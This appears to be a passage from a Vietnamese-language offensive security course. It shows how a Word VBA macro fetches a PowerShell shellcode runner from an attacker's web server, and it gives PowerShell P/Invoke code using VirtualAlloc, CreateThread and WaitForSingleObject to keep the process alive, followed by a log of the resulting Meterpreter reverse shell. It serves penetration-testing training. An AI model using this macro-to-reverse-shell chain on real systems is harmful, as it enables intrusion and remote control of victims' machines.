kali@kali:~$ sudo tail /var/log/apache2/access.log
...
192.168.120.11 - - [08/Jun/2024:05:21:22 -0400] "GET /run.ps1 HTTP/1.1" 200 4202 "-" "-"
```
Về phía Windows, nếu chúng ta sử dụng Process Explorer và thao tác nhanh, chúng ta có thể nhận thấy rằng một tiến trình PowerShell đang được tạo ra nhưng sau đó nhanh chóng bị chấm dứt.

Lý do cho điều này rất đơn giản. Trình chạy shellcode VBA trước đó của chúng ta tiếp tục thực thi vì chúng ta không bao giờ chấm dứt tiến trình cha (parent process) của nó (Word). Tuy nhiên, trong phiên bản này, shell của chúng ta chết ngay khi tiến trình cha PowerShell chấm dứt. Về cơ bản, shell của chúng ta bị chấm dứt ngay cả trước khi nó kịp khởi động.

Để giải quyết vấn đề này, chúng ta phải chỉ thị cho PowerShell trì hoãn việc chấm dứt cho đến khi shell của chúng ta thực thi hoàn toàn. Chúng ta sẽ sử dụng API Win32 WaitForSingleObject để tạm dừng script và cho phép Meterpreter thực thi.

Chúng ta sẽ cập nhật script PowerShell chạy shellcode của mình để nhập WaitForSingleObject bằng P/Invoke và Add-Type, sau đó gọi nó như trong các phần được tô sáng sau:
**Nhập (import) WaitSingleObject và gọi nó để ngăn PowerShell chấm dứt**
```powershell
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, 
        uint flAllocationType, uint flProtect);
        
    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, 
        uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, 
            uint dwCreationFlags, IntPtr lpThreadId);
                [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, 
        UInt32 dwMilliseconds);
}
"@

Add-Type $Kernel32
...[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
```
Hãy thảo luận về sự bổ sung này. Khi CreateThread được gọi, nó trả về một handle (tham chiếu/mã định danh) đến luồng mới được tạo. Chúng ta cung cấp handle này cho WaitForSingleObject cùng với thời gian chờ cho luồng đó kết thúc. Trong trường hợp này, chúng ta đã chỉ định 0xFFFFFFFF, điều này sẽ chỉ thị cho chương trình chờ vô hạn hoặc cho đến khi chúng ta thoát khỏi shell của mình. Lưu ý rằng chúng ta đã ép kiểu (type cast) tường minh giá trị này sang một số nguyên không dấu (unsigned integer) bằng kiểu tĩnh .NET [uint32] vì PowerShell mặc định chỉ sử dụng số nguyên có dấu.

Chúng ta lại sử dụng Chuỗi Here-Strings để gán một khối văn bản cho biến $Kernel32. Bên trong lớp của mình, chúng ta đã nhập ba API của Windows. Sau đó, chúng ta sử dụng Add-Type để biên dịch lớp Kernel32 công khai mà chúng ta đã gọi khi sử dụng các API. Sự bổ sung này sẽ ngăn chặn việc chấm dứt sớm của PowerShell.
Bây giờ chúng ta có thể cập nhật trình chạy shellcode PowerShell được lưu trữ trên máy chủ web Kali Linux của mình và chạy lại mã VBA. Kết quả sẽ là một reverse shell Meterpreter.
**Reverse shell Meterpreter từ PowerShell bên trong macro VBA không bị thoát**
```bash
[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)

meterpreter >
```
Chúng ta cũng lưu ý rằng tiến trình PowerShell đang chạy dưới dạng một tiến trình con (child process) của Word.
![image](https://hackmd.io/_uploads/SkCocKRkWe.png)
